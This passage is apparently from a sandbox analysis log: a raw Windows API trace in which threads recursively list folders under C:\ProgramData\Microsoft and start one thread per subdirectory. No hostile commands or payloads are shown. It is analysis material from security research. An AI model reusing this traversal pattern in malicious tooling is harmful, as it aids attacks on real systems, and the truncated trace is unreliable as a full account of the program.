nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0049.758] wcscmp (_String1="Device", _String2=".") returned 1 [0049.758] wcscmp (_String1="Device", _String2="..") returned 1 [0049.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x445d78 [0049.758] wcscpy (in: _Dest=0x445d78, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0049.758] wcscat (in: _Dest=0x445d78, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\" [0049.758] wcscat (in: _Dest=0x445d78, _Source="Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device" [0055.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0055.567] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x426790 | out: lpFindFileData=0x426790*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0055.567] wcscmp (_String1="Task", _String2=".") returned 1 [0055.567] wcscmp (_String1="Task", _String2="..") returned 1 [0055.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44aa90 [0055.567] wcscpy (in: _Dest=0x44aa90, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0055.567] wcscat (in: _Dest=0x44aa90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\" [0055.567] wcscat (in: _Dest=0x44aa90, _Source="Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task" [0055.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44aa90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed8 [0055.568] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x426790 | out: lpFindFileData=0x426790*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0055.568] FindClose (in: hFindFile=0x40a3e8 | out: hFindFile=0x40a3e8) returned 1 [0055.568] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426790) returned 1 [0055.568] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414620) returned 1 [0055.568] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413de0) returned 1 Thread: id = 150 os_tid = 0x7a0 [0046.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x414678 [0046.109] wcscpy (in: _Dest=0x414678, _Source="C:\\ProgramData\\Microsoft\\DeviceSync" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync" [0046.109] wcscat (in: _Dest=0x414678, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync\\") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\" [0046.109] wcscat (in: _Dest=0x414678, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync\\*") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\*" [0046.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4269f8 [0046.109] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x4269f8 | out: lpFindFileData=0x4269f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0049.759] wcscmp (_String1=".", _String2=".") returned 0 [0049.759] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x4269f8 | out: lpFindFileData=0x4269f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.759] wcscmp (_String1="..", _String2=".") returned 1 [0049.759] wcscmp (_String1="..", _String2="..") returned 0 [0049.759] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x4269f8 | out: lpFindFileData=0x4269f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.759] FindClose (in: hFindFile=0x40a228 | out: hFindFile=0x40a228) returned 1 [0049.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4269f8) returned 1 [0049.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414678) returned 1 [0049.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444c30) returned 1 Thread: id = 151 os_tid = 0x39c [0046.126] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402570 [0046.148] wcscpy (in: _Dest=0x402570, _Source="C:\\ProgramData\\Microsoft\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0046.148] wcscat (in: _Dest=0x402570, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\" [0046.148] wcscat (in: _Dest=0x402570, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\*") returned="C:\\ProgramData\\Microsoft\\DRM\\*" [0046.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426c60 [0046.148] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f68 [0049.137] wcscmp (_String1=".", _String2=".") returned 0 [0049.137] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.137] wcscmp (_String1="..", _String2=".") returned 1 [0049.138] wcscmp (_String1="..", _String2="..") returned 0 [0049.138] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0049.138] wcscmp (_String1="Server", _String2=".") returned 1 [0049.138] wcscmp (_String1="Server", _String2="..") returned 1 [0049.138] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x445220 [0049.138] wcscpy (in: _Dest=0x445220, _Source="C:\\ProgramData\\Microsoft\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0049.138] wcscat (in: _Dest=0x445220, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\" [0049.138] wcscat (in: _Dest=0x445220, _Source="Server" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server" [0049.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0049.608] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0049.609] FindClose (in: hFindFile=0x409f68 | out: hFindFile=0x409f68) returned 1 [0049.609] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426c60) returned 1 [0049.609] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402570) returned 1 [0049.609] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 Thread: id = 152 os_tid = 0x408 [0046.149] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444eb0 [0046.149] wcscpy (in: _Dest=0x444eb0, _Source="C:\\ProgramData\\Microsoft\\eHome" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0046.150] wcscat (in: _Dest=0x444eb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\") returned="C:\\ProgramData\\Microsoft\\eHome\\" [0046.150] wcscat (in: _Dest=0x444eb0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\*") returned="C:\\ProgramData\\Microsoft\\eHome\\*" [0046.150] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426ec8 [0046.150] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x426ec8 | out: lpFindFileData=0x426ec8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409de8 [0049.790] wcscmp (_String1=".", _String2=".") returned 0 [0049.790] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x426ec8 | out: lpFindFileData=0x426ec8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.790] wcscmp (_String1="..", _String2=".") returned 1 [0049.790] wcscmp (_String1="..", _String2="..") returned 0 [0049.790] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x426ec8 | out: lpFindFileData=0x426ec8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0049.790] wcscmp (_String1="logs", _String2=".") returned 1 [0049.790] wcscmp (_String1="logs", _String2="..") returned 1 [0049.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x445090 [0049.790] wcscpy (in: _Dest=0x445090, _Source="C:\\ProgramData\\Microsoft\\eHome" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0049.790] wcscat (in: _Dest=0x445090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\") returned="C:\\ProgramData\\Microsoft\\eHome\\" [0049.790] wcscat (in: _Dest=0x445090, _Source="logs" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\logs") returned="C:\\ProgramData\\Microsoft\\eHome\\logs" [0051.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x101c [0051.979] FindNextFileW (in: hFindFile=0x409de8, lpFindFileData=0x426ec8 | out: lpFindFileData=0x426ec8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0051.979] FindClose (in: hFindFile=0x409de8 | out: hFindFile=0x409de8) returned 1 [0051.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426ec8) returned 1 [0051.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444eb0) returned 1 [0051.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 Thread: id = 153 os_tid = 0x64 [0046.154] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x4146d0 [0046.154] wcscpy (in: _Dest=0x4146d0, _Source="C:\\ProgramData\\Microsoft\\Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0046.154] wcscat (in: _Dest=0x4146d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\" [0046.155] wcscat (in: _Dest=0x4146d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\*" [0046.155] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427130 [0046.155] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x427130 | out: lpFindFileData=0x427130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a368 [0049.762] wcscmp (_String1=".", _String2=".") returned 0 [0049.762] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x427130 | out: lpFindFileData=0x427130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.762] wcscmp (_String1="..", _String2=".") returned 1 [0049.762] wcscmp (_String1="..", _String2="..") returned 0 [0049.762] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x427130 | out: lpFindFileData=0x427130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0049.762] wcscmp (_String1="Views", _String2=".") returned 1 [0049.762] wcscmp (_String1="Views", _String2="..") returned 1 [0049.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a670 [0049.762] wcscpy (in: _Dest=0x44a670, _Source="C:\\ProgramData\\Microsoft\\Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0049.763] wcscat (in: _Dest=0x44a670, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\" [0049.763] wcscat (in: _Dest=0x44a670, _Source="Views" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0055.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0055.570] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x427130 | out: lpFindFileData=0x427130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0055.570] FindClose (in: hFindFile=0x40a368 | out: hFindFile=0x40a368) returned 1 [0055.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427130) returned 1 [0055.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4146d0) returned 1 [0055.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413d88) returned 1 Thread: id = 154 os_tid = 0x644 [0046.158] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414728 [0046.158] wcscpy (in: _Dest=0x414728, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL" [0046.158] wcscat (in: _Dest=0x414728, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\" [0046.158] wcscat (in: _Dest=0x414728, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\*" [0046.158] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427398 [0046.158] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x427398 | out: lpFindFileData=0x427398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0049.760] wcscmp (_String1=".", _String2=".") returned 0 [0049.760] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x427398 | out: lpFindFileData=0x427398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.760] wcscmp (_String1="..", _String2=".") returned 1 [0049.760] wcscmp (_String1="..", _String2="..") returned 0 [0049.760] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x427398 | out: lpFindFileData=0x427398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0049.760] wcscmp (_String1="ppcrlconfig.dll", _String2=".") returned 1 [0049.760] wcscmp (_String1="ppcrlconfig.dll", _String2="..") returned 1 [0049.760] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x427398 | out: lpFindFileData=0x427398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0049.760] wcscmp (_String1="ppcrlui.dll", _String2=".") returned 1 [0049.760] wcscmp (_String1="ppcrlui.dll", _String2="..") returned 1 [0049.760] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x427398 | out: lpFindFileData=0x427398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0049.760] FindClose (in: hFindFile=0x40a228 | out: hFindFile=0x40a228) returned 1 [0049.760] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427398) returned 1 [0049.760] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414728) returned 1 [0049.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413f40) returned 1 Thread: id = 155 os_tid = 0x354 [0046.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x4028d0 [0046.159] wcscpy (in: _Dest=0x4028d0, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0046.159] wcscat (in: _Dest=0x4028d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0046.159] wcscat (in: _Dest=0x4028d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\*") returned="C:\\ProgramData\\Microsoft\\MF\\*" [0046.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427600 [0046.159] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409be8 [0048.567] wcscmp (_String1=".", _String2=".") returned 0 [0048.567] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.567] wcscmp (_String1="..", _String2=".") returned 1 [0048.567] wcscmp (_String1="..", _String2="..") returned 0 [0048.567] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, 